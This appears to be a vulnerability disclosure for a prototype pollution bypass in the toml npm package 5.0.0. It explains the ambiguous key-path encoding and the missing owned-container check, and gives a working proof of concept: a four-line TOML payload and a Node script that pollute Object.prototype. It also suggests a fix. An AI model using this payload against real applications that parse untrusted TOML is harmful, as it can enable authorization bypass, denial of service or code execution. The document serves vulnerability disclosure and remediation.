CVE-2026-63376 described prototype pollution through __proto__ key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters.
A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries.
// detailsThree gaps compose. All line numbers are lib/compiler.js in 5.0.0.
1. The path-key encoding is ambiguous. quoteDottedString() quotes a segment only when it contains a ., and never escapes a " inside the segment:
287: function quoteDottedString(str) {
288: if (str.indexOf(".") > -1) {
289: return "\"" + str + "\"";
290: } else {
291: return str;
292: }
293: }So the key path ['x.y'] and the key path ['"x', 'y"'] both render as the string "x.y". This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot.
2. A table-array header can clear another key's guard. addTableArray() walks assignedPaths / valueAssignments with isSameOrSubPath() over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry.
3. The descent in assign() has no owned-container check. deepRef() applies isOwnedContainer() only to intermediate segments (lib/compiler.js:265, :273) and returns the final container unchecked. assign() then walks it with only a shape test:
93: target = target[k]; ... 103: target[lastKey] = reduced;
A TOML datetime is a Date. It satisfies typeof target[k] === "object" and is not an array, so the walk descends into it — and a Date has a live prototype chain to Object.prototype.
Putting the three together, a document can make the current table a Date and then walk __proto__.__proto__ to Object.prototype.
mkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0
# poc.toml "b.c" = 1979-05-27T07:32:00Z [['"b']] ["b.c"] __proto__.__proto__.polluted = "yes"
Line 1 defines a key whose rendered path is "b.c" and whose value is a Date. Line 2 is a table-array header whose rendered path collides with it, clearing its guard. Line 3 re-enters that key, so the current table is now the Date. Line 4 walks Date → Date.prototype → Object.prototype.
// poc.js
const toml = require('toml');
const fs = require('fs');
console.log('before:', JSON.stringify(({}).polluted));
toml.parse(fs.readFileSync('poc.toml', 'utf8'));
console.log('after: ', JSON.stringify(({}).polluted));
console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted'));
console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted));$ node poc.js
before: undefined
after: "yes"
Object.prototype.hasOwnProperty("polluted") = true
JSON.parse("{}").polluted = "yes"The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched.
A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing.
// impactAny application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property.
Suggested fix: in assign(), apply the same check the intermediate descent already uses — after target = target[k], reject when !isOwnedContainer(target). Equivalently, apply isOwnedContainer to the value deepRef() returns. Separately, quoteDottedString() should escape " inside a segment so that distinct key paths cannot render to the same string.